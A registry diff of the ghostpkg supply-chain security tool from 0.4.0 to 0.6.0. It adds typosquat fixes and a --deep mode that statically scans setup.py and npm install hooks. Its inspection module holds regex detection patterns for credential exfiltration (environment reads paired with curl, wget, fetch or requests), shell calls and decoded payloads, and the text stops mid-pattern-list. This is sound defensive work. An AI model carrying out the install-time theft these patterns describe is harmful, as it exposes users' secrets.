ghostpkg 0.4.0__tar.gz → 0.6.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/CHANGELOG.md +78 -1
  2. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/PKG-INFO +59 -6
  3. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/README.en.md +58 -5
  4. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/README.md +43 -5
  5. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/SECURITY.md +21 -6
  6. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/__init__.py +1 -1
  7. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/assess.py +43 -5
  8. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/cli.py +29 -3
  9. ghostpkg-0.6.0/ghostpkg/inspection.py +214 -0
  10. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/registries.py +19 -1
  11. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/pyproject.toml +1 -1
  12. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_assess.py +58 -0
  13. ghostpkg-0.6.0/tests/test_inspection.py +217 -0
  14. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
  15. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
  16. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
  17. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
  18. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.github/workflows/ci.yml +0 -0
  19. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/.gitignore +0 -0
  20. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/CONTRIBUTING.md +0 -0
  21. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/LICENSE +0 -0
  22. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/banner.html +0 -0
  23. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/banner.png +0 -0
  24. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/demo.gif +0 -0
  25. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/assets/make_demo.py +0 -0
  26. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/__main__.py +0 -0
  27. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/cache.py +0 -0
  28. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/data.py +0 -0
  29. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/ghostpkg/manifests.py +0 -0
  30. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_cache.py +0 -0
  31. {ghostpkg-0.4.0 → ghostpkg-0.6.0}/tests/test_manifests.py +0 -0
@@ -6,6 +6,81 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6
6
 
7
7
  ## [Unreleased]
8
8
 
9
+ ## [0.6.0] - 2026-09-01
10
+
11
+ ### Fixed
12
+ - **Typo detection missed parked lookalikes, because age was the wrong gate.**
13
+ The check only ran on packages published within the last year, on the
14
+ reasoning that "an old lookalike is just a package with a similar name". That
15
+ reasoning was wrong. `expresss` has sat on npm since **2016** with one
16
+ release, no repository link, and roughly **2,500 downloads a month** arriving
17
+ purely from other people's typos. Ten years old, and waved straight through.
18
+
19
+ ### Changed
20
+ - The typo check now also runs on packages that look **abandoned**: two or fewer
21
+ releases *and* no repository link, at any age.
22
+
23
+ The pairing is not a guess. Measured against 120 real packages that sit within
24
+ the typo budget of a popular name:
25
+
26
+ | Rule | Wrong about |
27
+ |---|---|
28
+ | Two or fewer releases, alone | 10.0% |
29
+ | No repository link, alone | 5.8% |
30
+ | **Both together** | **0.0%** |
31
+
32
+ Either condition alone is too loose because sibling packages in a family sit
33
+ naturally close together — `dagster-k8s` is two edits from `dagster-aws`, and
34
+ `pulumi-tls` from `pulumi-aws`. Those are maintained, so they carry releases
35
+ and a repository, and requiring both conditions leaves them alone.
36
+
37
+ - Warning text now says which condition fired, rather than calling a
38
+ ten-year-old package "recently published".
39
+
40
+ ### Note
41
+ A defensively parked name still passes, which is correct: npm holds `lodahs`
42
+ itself and points it at `npm/security-holder`, so it has a repository link.
43
+
44
+ ## [0.5.0] - 2026-09-01
45
+
46
+ ### Added
47
+ - **`--deep`: static inspection of install-time code.** This addresses the
48
+ project's main open problem ([#1]) — a hallucinated name an attacker has
49
+ *already registered*. Such a package exists, so the existence check passes,
50
+ and it is young with one release and no repository link, exactly like every
51
+ honest new package. Age cannot separate them; install-time behaviour can,
52
+ because a slopsquat has to run something when it is installed.
53
+ - Signals reported: reading environment variables together with a network call,
54
+ a network request, a shell command, decoding a hidden blob, and executing code
55
+ that was just decoded or downloaded.
56
+
57
+ ### How the policy was decided
58
+ The previous signal adopted on intuition — scoring packages by age — flagged
59
+ 100% of legitimate same-day publications. So this one was measured first:
60
+
61
+ | Group | Flagged |
62
+ |---|---|
63
+ | 27 established legitimate packages | 0% |
64
+ | 32 packages published to PyPI that day | 0% |
65
+ | 6 known malicious install-script shapes | 6 of 6 |
66
+
67
+ That is why a **young** package with install-time signals is **blocked** while
68
+ age alone still only warns. An established package with the same signals is
69
+ warned about, not blocked.
70
+
71
+ The first pattern set was far looser and flagged 37% of established packages,
72
+ mostly for reading environment variables — ordinary when inspecting build
73
+ flags. It also scanned `conftest.py`, which runs during testing and never on
74
+ install. Both were mistakes found by measuring rather than by reasoning.
75
+
76
+ ### Safety
77
+ Archives are read in memory and never extracted to disk; nothing is executed,
78
+ imported or compiled; downloads stop at 8 MB and members at 512 KB so a
79
+ decompression bomb cannot exhaust memory; any failure to fetch or parse means
80
+ "not inspected" rather than a pass.
81
+
82
+ [#1]: https://github.com/M1rwana12/ghostpkg/issues/1
83
+
9
84
  ## [0.4.0] - 2026-09-01
10
85
 
11
86
  ### Added
@@ -109,7 +184,9 @@ First release.
109
184
  - No corpus of hallucinated package names is shipped, following the decision of
110
185
  the USENIX'25 authors not to publish theirs.
111
186
 
112
- [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.4.0...HEAD
187
+ [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.6.0...HEAD
188
+ [0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
189
+ [0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
113
190
  [0.4.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.4.0
114
191
  [0.3.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.3.0
115
192
  [0.2.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.2.0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: ghostpkg
3
- Version: 0.4.0
3
+ Version: 0.6.0
4
4
  Summary: Catch package names that do not exist before you install them
5
5
  Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
6
6
  Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
@@ -181,6 +181,7 @@ and report TOML keys as package names.
181
181
  | `--json` | Machine-readable output for scripts and CI |
182
182
  | `-q`, `--quiet` | Hide packages that passed |
183
183
  | `--no-cache` | Neither read nor write the cache |
184
+ | `--deep` | Download recently published packages and statically inspect their install scripts |
184
185
  | `--version` | Print the version |
185
186
 
186
187
  ### Exit codes
@@ -237,7 +238,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
237
238
  | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
238
239
  | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
239
240
  | No repository or homepage link | 🟡 Warning | Real projects almost always link to source. |
240
- | 1–2 edits from a popular name, **and** recently published | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age matters: an old lookalike is just a package with a similar name. |
241
+ | 1–2 edits from a popular name, **and** the package is either recent **or** abandoned (≤2 releases and no repository link) | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age alone was the wrong gate: `expresss` has sat on npm since 2016 with one release and ~2,500 typo-driven downloads a month. |
241
242
 
242
243
  Warnings are advisory by default. Nothing but non-existence blocks unless you pass
243
244
  `--strict`.
@@ -348,11 +349,62 @@ roughly one round trip rather than one per dependency.
348
349
 
349
350
  ---
350
351
 
352
+ ## `--deep`: inspecting install scripts
353
+
354
+ The existence check cannot see the dangerous case — a name an attacker has
355
+ **already registered**. That package exists, so it passes; and it is young, with
356
+ one release and no repository link, which describes every honest new package
357
+ too. **Age cannot separate them.**
358
+
359
+ Install-time behaviour can. A slopsquat has to run something when it is
360
+ installed — that is the entire point of publishing it. An honest new library
361
+ almost never does.
362
+
363
+ ```bash
364
+ ghostpkg scan requirements.txt --deep
365
+ ```
366
+
367
+ `--deep` downloads the archive **only for recently published packages**, reads
368
+ only `setup.py` from it (or the install hooks out of `package.json`), and
369
+ pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
370
+ are capped, so a decompression bomb cannot exhaust memory.
371
+
372
+ | Signal | What it means |
373
+ |---|---|
374
+ | `exfiltration` | Reads environment variables *and* contacts the network |
375
+ | `network` | Makes a network request during install |
376
+ | `subprocess` | Runs a shell command during install |
377
+ | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
378
+ | `dynamic-exec` | Executes code it just decoded or downloaded |
379
+
380
+ ### It was measured before it was allowed to block
381
+
382
+ The last signal adopted on intuition — score packages by age — flagged 100% of
383
+ legitimate same-day publications. So this one was measured first:
384
+
385
+ | Group | Flagged |
386
+ |---|---|
387
+ | 27 established legitimate packages | **0%** |
388
+ | 32 packages published to PyPI that day | **0%** |
389
+ | 6 known malicious install-script shapes | **6 of 6** |
390
+
391
+ That is why a **young** package with install-time signals is **blocked**, while
392
+ age alone can only ever warn. An established package showing the same signals is
393
+ warned about rather than blocked: old packages do sometimes build things at
394
+ install time, and the sample behind that judgement is small.
395
+
396
+ **Limits, stated plainly:** a squat that waits until import time rather than
397
+ install time will not be caught, obfuscation beyond the listed patterns will not
398
+ be caught, and packages published without an sdist cannot be inspected at all.
399
+
400
+ ---
401
+
351
402
  ## Comparison
352
403
 
353
404
  | | `ghostpkg` | SCA scanners (Snyk, Socket) | `pip install` alone |
354
405
  |---|:---:|:---:|:---:|
355
406
  | Catches a name that doesn't exist | ✅ **before install** | after install / in a PR | ❌ |
407
+ | Inspects install scripts without running them | ✅ `--deep` | varies | ❌ |
356
408
  | Runs without an account | ✅ | ❌ | — |
357
409
  | Runtime dependencies | **0** | many | — |
358
410
  | Blocks legitimate new packages | ❌ **no** | varies | — |
@@ -368,10 +420,11 @@ earns its keep. Use both.
368
420
  ## Honest limitations
369
421
 
370
422
  > [!WARNING]
371
- > **The hard case is out of scope today.** A hallucinated name that an attacker has
372
- > **already registered** will pass the existence check. The warning signals are all
373
- > that stand between you and it, and they are advisory. Improving this is the main
374
- > open problem — see [issues](https://github.com/M1rwana12/ghostpkg/issues).
423
+ > **The hard case is partly addressed by `--deep`, not solved.** A hallucinated
424
+ > name an attacker has **already registered** passes the existence check.
425
+ > `--deep` looks at install-time behaviour and catches the usual shapes, but an
426
+ > attacker who does nothing during install will still get through. Discussion in
427
+ > [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
375
428
 
376
429
  - Typo detection compares against the 2,000 most-downloaded projects in each
377
430
  ecosystem, so a squat on a less popular package won't be flagged as a lookalike.
@@ -134,6 +134,7 @@ and report TOML keys as package names.
134
134
  | `--json` | Machine-readable output for scripts and CI |
135
135
  | `-q`, `--quiet` | Hide packages that passed |
136
136
  | `--no-cache` | Neither read nor write the cache |
137
+ | `--deep` | Download recently published packages and statically inspect their install scripts |
137
138
  | `--version` | Print the version |
138
139
 
139
140
  ### Exit codes
@@ -190,7 +191,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
190
191
  | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
191
192
  | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
192
193
  | No repository or homepage link | 🟡 Warning | Real projects almost always link to source. |
193
- | 1–2 edits from a popular name, **and** recently published | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age matters: an old lookalike is just a package with a similar name. |
194
+ | 1–2 edits from a popular name, **and** the package is either recent **or** abandoned (≤2 releases and no repository link) | 🟡 Warning | Classic typosquat shape. A swap of adjacent characters counts as one edit, because `recat`/`react` is what squatters actually publish. Age alone was the wrong gate: `expresss` has sat on npm since 2016 with one release and ~2,500 typo-driven downloads a month. |
194
195
 
195
196
  Warnings are advisory by default. Nothing but non-existence blocks unless you pass
196
197
  `--strict`.
@@ -301,11 +302,62 @@ roughly one round trip rather than one per dependency.
301
302
 
302
303
  ---
303
304
 
305
+ ## `--deep`: inspecting install scripts
306
+
307
+ The existence check cannot see the dangerous case — a name an attacker has
308
+ **already registered**. That package exists, so it passes; and it is young, with
309
+ one release and no repository link, which describes every honest new package
310
+ too. **Age cannot separate them.**
311
+
312
+ Install-time behaviour can. A slopsquat has to run something when it is
313
+ installed — that is the entire point of publishing it. An honest new library
314
+ almost never does.
315
+
316
+ ```bash
317
+ ghostpkg scan requirements.txt --deep
318
+ ```
319
+
320
+ `--deep` downloads the archive **only for recently published packages**, reads
321
+ only `setup.py` from it (or the install hooks out of `package.json`), and
322
+ pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
323
+ are capped, so a decompression bomb cannot exhaust memory.
324
+
325
+ | Signal | What it means |
326
+ |---|---|
327
+ | `exfiltration` | Reads environment variables *and* contacts the network |
328
+ | `network` | Makes a network request during install |
329
+ | `subprocess` | Runs a shell command during install |
330
+ | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
331
+ | `dynamic-exec` | Executes code it just decoded or downloaded |
332
+
333
+ ### It was measured before it was allowed to block
334
+
335
+ The last signal adopted on intuition — score packages by age — flagged 100% of
336
+ legitimate same-day publications. So this one was measured first:
337
+
338
+ | Group | Flagged |
339
+ |---|---|
340
+ | 27 established legitimate packages | **0%** |
341
+ | 32 packages published to PyPI that day | **0%** |
342
+ | 6 known malicious install-script shapes | **6 of 6** |
343
+
344
+ That is why a **young** package with install-time signals is **blocked**, while
345
+ age alone can only ever warn. An established package showing the same signals is
346
+ warned about rather than blocked: old packages do sometimes build things at
347
+ install time, and the sample behind that judgement is small.
348
+
349
+ **Limits, stated plainly:** a squat that waits until import time rather than
350
+ install time will not be caught, obfuscation beyond the listed patterns will not
351
+ be caught, and packages published without an sdist cannot be inspected at all.
352
+
353
+ ---
354
+
304
355
  ## Comparison
305
356
 
306
357
  | | `ghostpkg` | SCA scanners (Snyk, Socket) | `pip install` alone |
307
358
  |---|:---:|:---:|:---:|
308
359
  | Catches a name that doesn't exist | ✅ **before install** | after install / in a PR | ❌ |
360
+ | Inspects install scripts without running them | ✅ `--deep` | varies | ❌ |
309
361
  | Runs without an account | ✅ | ❌ | — |
310
362
  | Runtime dependencies | **0** | many | — |
311
363
  | Blocks legitimate new packages | ❌ **no** | varies | — |
@@ -321,10 +373,11 @@ earns its keep. Use both.
321
373
  ## Honest limitations
322
374
 
323
375
  > [!WARNING]
324
- > **The hard case is out of scope today.** A hallucinated name that an attacker has
325
- > **already registered** will pass the existence check. The warning signals are all
326
- > that stand between you and it, and they are advisory. Improving this is the main
327
- > open problem — see [issues](https://github.com/M1rwana12/ghostpkg/issues).
376
+ > **The hard case is partly addressed by `--deep`, not solved.** A hallucinated
377
+ > name an attacker has **already registered** passes the existence check.
378
+ > `--deep` looks at install-time behaviour and catches the usual shapes, but an
379
+ > attacker who does nothing during install will still get through. Discussion in
380
+ > [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
328
381
 
329
382
  - Typo detection compares against the 2,000 most-downloaded projects in each
330
383
  ecosystem, so a squat on a less popular package won't be flagged as a lookalike.
@@ -103,6 +103,7 @@ ghostpkg clear-cache
103
103
  | `--json` | Вивід у JSON для скриптів і CI |
104
104
  | `-q`, `--quiet` | Ховає пакети, які пройшли перевірку |
105
105
  | `--no-cache` | Не читати й не писати кеш |
106
+ | `--deep` | Завантажити свіжі пакети й статично перевірити їхні скрипти встановлення |
106
107
 
107
108
  `scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621 і Poetry)
108
109
  та `package.json`. Невідомий формат він **відхиляє з помилкою, а не вгадує**.
@@ -117,7 +118,7 @@ ghostpkg clear-cache
117
118
  | Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
118
119
  | Лише один реліз | 🟡 Попередження. |
119
120
  | Немає посилання на репозиторій | 🟡 Попередження. |
120
- | За один-два символи від популярної назви **і** свіжий | 🟡 Попередження. Схоже на typosquat. |
121
+ | За один-два символи від популярної назви, **і** пакет свіжий **або** занедбаний (≤2 релізи й немає репозиторію) | 🟡 Попередження. Схоже на typosquat. |
121
122
 
122
123
  ---
123
124
 
@@ -149,6 +150,42 @@ $ ghostpkg check react-router-dom-utils -e npm
149
150
 
150
151
  ---
151
152
 
153
+ ## `--deep`: перевірка скриптів встановлення
154
+
155
+ Перевірка існування не бачить найнебезпечнішого випадку — імені, яке зловмисник
156
+ **уже зареєстрував**. Такий пакет існує, тож проходить; він молодий, з одним
157
+ релізом і без репозиторію — як і будь-який чесний новий пакет. **Вік їх не розрізняє.**
158
+
159
+ Поведінка при встановленні — розрізняє. Слопсквот мусить щось виконати під час
160
+ встановлення, інакше в ньому немає сенсу. Чесна нова бібліотека цього майже ніколи
161
+ не робить.
162
+
163
+ ```bash
164
+ ghostpkg scan requirements.txt --deep
165
+ ```
166
+
167
+ `--deep` завантажує архів **лише для свіжих пакетів**, читає з нього тільки
168
+ `setup.py` (або скрипти встановлення з `package.json`) і зіставляє текст із
169
+ шаблонами. **Нічого не виконується.** Розмір архіва обмежений, тож бомба
170
+ розпакування не з'їсть пам'ять.
171
+
172
+ Що вважається сигналом: читання змінних середовища разом із мережевим запитом,
173
+ мережевий запит, запуск оболонки, розкодування прихованого блоба, виконання
174
+ щойно розкодованого коду.
175
+
176
+ **Виміряно перед тим, як вмикати блокування:**
177
+
178
+ | Група | Позначено |
179
+ |---|---|
180
+ | 27 усталених легітимних пакетів | **0 %** |
181
+ | 32 пакети, опубліковані того ж дня | **0 %** |
182
+ | 6 відомих шкідливих шаблонів | **6 з 6** |
183
+
184
+ Для порівняння: вік позначав **100 %** свіжих легітимних пакетів. Саме тому
185
+ молодий пакет із такими сигналами **блокується**, а вік — лише попереджає.
186
+
187
+ ---
188
+
152
189
  ## Порівняння
153
190
 
154
191
  | | `ghostpkg` | SCA-сканери (Snyk, Socket) | Просто `pip install` |
@@ -167,10 +204,11 @@ $ ghostpkg check react-router-dom-utils -e npm
167
204
  ## Чесні обмеження
168
205
 
169
206
  > [!WARNING]
170
- > **Складний випадок поки поза межами інструменту.** Вигадану назву, яку зловмисник
171
- > **уже зареєстрував**, перевірка існування пропустить. Між вами й нею стоять лише
172
- > попередження, і вони дорадчі. Це головна відкрита проблема —
173
- > див. [issues](https://github.com/M1rwana12/ghostpkg/issues).
207
+ > **Складний випадок частково закрито прапорцем `--deep`, але не повністю.**
208
+ > Вигадану назву, яку зловмисник **уже зареєстрував**, перевірка існування
209
+ > пропустить. `--deep` дивиться на поведінку при встановленні й ловить типові
210
+ > шаблони, але зловмисник, який нічого не робить під час встановлення, пройде.
211
+ > Обговорення — [#1](https://github.com/M1rwana12/ghostpkg/issues/1).
174
212
 
175
213
  - Виявлення опечаток порівнює з 2 000 найпопулярніших проєктів кожної екосистеми,
176
214
  тому підробка під менш популярний пакет як схожа назва не позначиться.
@@ -20,13 +20,17 @@ what it does and does not protect against.
20
20
 
21
21
  ### What it does not catch
22
22
 
23
- - **A hallucinated name an attacker has already registered.** The existence check
24
- passes. Only the advisory warnings stand between the user and it. This is the
25
- main open problem and it is stated plainly in the README rather than hidden.
23
+ - **A hallucinated name an attacker has already registered, when `--deep` is
24
+ off.** The existence check passes and only advisory warnings remain. With
25
+ `--deep`, install-time code is statically inspected and the usual malicious
26
+ shapes are caught, which measured 0 false positives across 27 established and
27
+ 32 same-day packages while catching all 6 test shapes.
28
+ - **Even with `--deep`:** a squat whose payload runs at *import* time rather than
29
+ install time, obfuscation beyond the documented patterns, and any package
30
+ published without an sdist, which cannot be inspected.
26
31
  - Malicious code in a package that is otherwise legitimate and established.
27
32
  - Compromise of an existing maintainer account.
28
- - Anything at install time. `ghostpkg` inspects registry metadata; it never
29
- downloads, unpacks or executes a package.
33
+ - Malicious behaviour at *runtime*. `--deep` reads install-time code only.
30
34
 
31
35
  ### Failure mode
32
36
 
@@ -34,9 +38,20 @@ If a registry is unreachable, `ghostpkg` exits with code `2` rather than passing
34
38
  silently. A network failure will fail your build. That is deliberate: a security
35
39
  check that quietly succeeds when it could not run is worse than no check.
36
40
 
41
+ ### How `--deep` handles untrusted archives
42
+
43
+ - Archives are read **in memory**, never extracted to disk, so a path-traversal
44
+ entry has nothing to write to.
45
+ - **Nothing is executed, imported or compiled.** Only named install-time files
46
+ are read, and only as text.
47
+ - Downloads stop at 8 MB and individual members at 512 KB, so a decompression
48
+ bomb cannot exhaust memory.
49
+ - Any failure to download or parse means "not inspected", never a pass.
50
+
37
51
  ### Trust boundaries
38
52
 
39
- - Requests go only to `pypi.org` and `registry.npmjs.org` over HTTPS.
53
+ - Requests go only to `pypi.org`, `files.pythonhosted.org` and
54
+ `registry.npmjs.org` over HTTPS.
40
55
  - No telemetry, no analytics, no phoning home.
41
56
  - No runtime dependencies, so the tool's own supply chain is the Python standard
42
57
  library.
@@ -1,6 +1,6 @@
1
1
  """ghostpkg -- catch package names that do not exist before you install them."""
2
2
 
3
- __version__ = "0.4.0"
3
+ __version__ = "0.6.0"
4
4
 
5
5
  from .assess import Finding, Verdict, assess
6
6
  from .registries import PackageFacts, RegistryError, fetch
@@ -134,7 +134,26 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
134
134
  return best
135
135
 
136
136
 
137
- def assess(facts: PackageFacts, strict: bool = False) -> Finding:
137
+ def assess(
138
+ facts: PackageFacts,
139
+ strict: bool = False,
140
+ signals: "list | None" = None,
141
+ ) -> Finding:
142
+ """Turn registry facts, and optionally --deep install-script signals, into
143
+ a verdict.
144
+
145
+ Install-time signals are treated differently from every other soft signal,
146
+ and the difference is measured rather than assumed. Age flags 100% of
147
+ legitimate same-day publications, so it can only ever warn. Install-time
148
+ behaviour flagged 0 of 27 established and 0 of 32 brand-new real packages
149
+ while catching all six known malicious shapes, so a *young* package that
150
+ reaches for the network, a subprocess or a decoded payload during install
151
+ is specific enough to block.
152
+
153
+ An established package doing the same is only warned about: legitimate
154
+ old packages do sometimes build things at install time, and the sample
155
+ behind that judgement is small.
156
+ """
138
157
  if not facts.exists:
139
158
  return Finding(
140
159
  name=facts.name,
@@ -154,13 +173,27 @@ def assess(facts: PackageFacts, strict: bool = False) -> Finding:
154
173
 
155
174
  is_young = facts.age_days is not None and facts.age_days < NEW_DAYS
156
175
 
157
- if is_young:
176
+ # A parked lookalike is not necessarily new. `expresss` has sat on npm since
177
+ # 2016 with one release, no repository link, and roughly 2,500 downloads a
178
+ # month arriving purely from other people's typos. Age was the wrong gate.
179
+ #
180
+ # Abandonment is the right one, but only as a pair. Measured against 120 real
181
+ # packages that sit within the typo budget of a popular name, "few releases"
182
+ # alone was wrong 10% of the time and "no repository link" alone 5.8%, while
183
+ # requiring both was wrong 0% of the time. That matters because sibling
184
+ # packages in a family are naturally close together -- dagster-k8s is two
185
+ # edits from dagster-aws, pulumi-tls from pulumi-aws -- and they are
186
+ # maintained, so they carry releases and a repository.
187
+ looks_abandoned = facts.release_count <= 2 and not facts.has_repo_url
188
+
189
+ if is_young or looks_abandoned:
158
190
  neighbour = nearest_popular(facts.name, facts.ecosystem)
159
191
  if neighbour is not None:
160
192
  popular_name, distance = neighbour
193
+ character = "character" if distance == 1 else "characters"
194
+ context = "recently published" if is_young else "one release, no repository"
161
195
  reasons.append(
162
- f"{distance} character{'s' if distance > 1 else ''} away from "
163
- f"'{popular_name}', and recently published"
196
+ f"{distance} {character} away from '{popular_name}', and {context}"
164
197
  )
165
198
 
166
199
  if is_young and facts.release_count <= 1:
@@ -169,7 +202,12 @@ def assess(facts: PackageFacts, strict: bool = False) -> Finding:
169
202
  if is_young and not facts.has_repo_url:
170
203
  reasons.append("no repository or homepage link")
171
204
 
172
- if not reasons:
205
+ install_reasons = [str(signal) for signal in (signals or [])]
206
+ reasons.extend(install_reasons)
207
+
208
+ if install_reasons and is_young:
209
+ verdict = Verdict.BLOCK
210
+ elif not reasons:
173
211
  verdict = Verdict.OK
174
212
  elif strict:
175
213
  verdict = Verdict.BLOCK
@@ -10,8 +10,9 @@ import sys
10
10
  from pathlib import Path
11
11
 
12
12
  from . import __version__
13
- from .assess import Finding, Verdict, assess
13
+ from .assess import NEW_DAYS, Finding, Verdict, assess
14
14
  from .cache import Cache
15
+ from .inspection import InspectionError, inspect_package
15
16
  from .manifests import UnsupportedManifest, load_manifest
16
17
  from .registries import RegistryError, fetch
17
18
 
@@ -95,6 +96,7 @@ def evaluate(
95
96
  ecosystem: str,
96
97
  strict: bool,
97
98
  cache: Cache | None = None,
99
+ deep: bool = False,
98
100
  ) -> list[Finding]:
99
101
  def one(name: str) -> Finding:
100
102
  facts = cache.get(ecosystem, name) if cache else None
@@ -102,7 +104,25 @@ def evaluate(
102
104
  facts = fetch(name, ecosystem)
103
105
  if cache:
104
106
  cache.put(facts)
105
- return assess(facts, strict=strict)
107
+
108
+ signals = None
109
+ # Only young packages are worth the download: a registered slopsquat is
110
+ # new by definition, and inspecting everything would make a scan slow
111
+ # for no gain. A compromised established package is a different threat
112
+ # and is out of scope -- SECURITY.md says so.
113
+ if (
114
+ deep
115
+ and facts.exists
116
+ and facts.archive_url
117
+ and facts.age_days is not None
118
+ and facts.age_days < NEW_DAYS
119
+ ):
120
+ try:
121
+ signals = inspect_package(facts.archive_url, ecosystem)
122
+ except InspectionError:
123
+ signals = None
124
+
125
+ return assess(facts, strict=strict, signals=signals)
106
126
 
107
127
  with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
108
128
  findings = list(pool.map(one, names))
@@ -141,6 +161,12 @@ def build_parser() -> argparse.ArgumentParser:
141
161
  command.add_argument(
142
162
  "--no-cache", action="store_true", help="ignore and do not write the cache"
143
163
  )
164
+ command.add_argument(
165
+ "--deep",
166
+ action="store_true",
167
+ help="download recently published packages and statically inspect "
168
+ "their install scripts (never executes anything)",
169
+ )
144
170
 
145
171
  sub.add_parser("clear-cache", help="delete the cached registry lookups")
146
172
 
@@ -176,7 +202,7 @@ def main(argv: list[str] | None = None) -> int:
176
202
 
177
203
  cache = Cache(enabled=not args.no_cache)
178
204
  try:
179
- findings = evaluate(names, ecosystem, args.strict, cache)
205
+ findings = evaluate(names, ecosystem, args.strict, cache, args.deep)
180
206
  except RegistryError as exc:
181
207
  print(f"ghostpkg: {exc}", file=sys.stderr)
182
208
  return EXIT_ERROR
@@ -0,0 +1,214 @@
1
+ """Static inspection of install-time code.
2
+
3
+ This exists for the case the existence check cannot see: a hallucinated name an
4
+ attacker has *already registered*. Such a package exists, so it passes; and it
5
+ is young with one release and no repository link, which describes every honest
6
+ new package too. Age cannot separate them.
7
+
8
+ Install-time behaviour can. A slopsquat has to run something when it is
9
+ installed -- that is the whole point of publishing it -- so it reaches for a
10
+ network call, an environment variable, or a subprocess from `setup.py` or an
11
+ npm install hook. An honest new library almost never does any of that at
12
+ install time.
13
+
14
+ **Nothing here is ever executed.** Archives are read in memory, only named
15
+ install-time files are looked at, and the contents are pattern-matched as text.
16
+ Sizes are capped so a decompression bomb cannot exhaust memory.
17
+ """
18
+
19
+ from __future__ import annotations
20
+
21
+ import io
22
+ import re
23
+ import tarfile
24
+ import urllib.request
25
+ import zipfile
26
+ from dataclasses import dataclass
27
+
28
+ from .registries import USER_AGENT
29
+
30
+ MAX_ARCHIVE_BYTES = 8 * 1024 * 1024 # don't download more than this
31
+ MAX_MEMBER_BYTES = 512 * 1024 # don't read a single file bigger than this
32
+ MAX_MEMBERS = 2000 # don't walk an archive with more entries
33
+ TIMEOUT = 20
34
+
35
+ PY_INSTALL_FILES = ("setup.py",)
36
+ NPM_INSTALL_HOOKS = ("preinstall", "install", "postinstall", "prepare")
37
+
38
+
39
+ @dataclass(frozen=True)
40
+ class Signal:
41
+ """One thing found in install-time code, with the text that triggered it."""
42
+
43
+ kind: str
44
+ detail: str
45
+ where: str
46
+
47
+ def __str__(self) -> str:
48
+ return f"{self.detail} in {self.where}"
49
+
50
+
51
+ # Ordered most-to-least alarming. Each pattern describes something an install
52
+ # script has no ordinary reason to do.
53
+ PATTERNS: tuple[tuple[str, str, re.Pattern[str]], ...] = (
54
+ (
55
+ "exfiltration",
56
+ "reads environment variables and contacts the network",
57
+ re.compile(
58
+ r"(os\.environ|process\.env|getenv)[\s\S]{0,400}?"
59
+ r"(urlopen|requests\.(get|post)|urllib|http[s]?://|fetch\(|axios|curl|wget)",
60
+ re.IGNORECASE,
61
+ ),
62
+ ),
63
+ (
64
+ "network",
65
+ "makes a network request at install time",
66
+ re.compile(
67
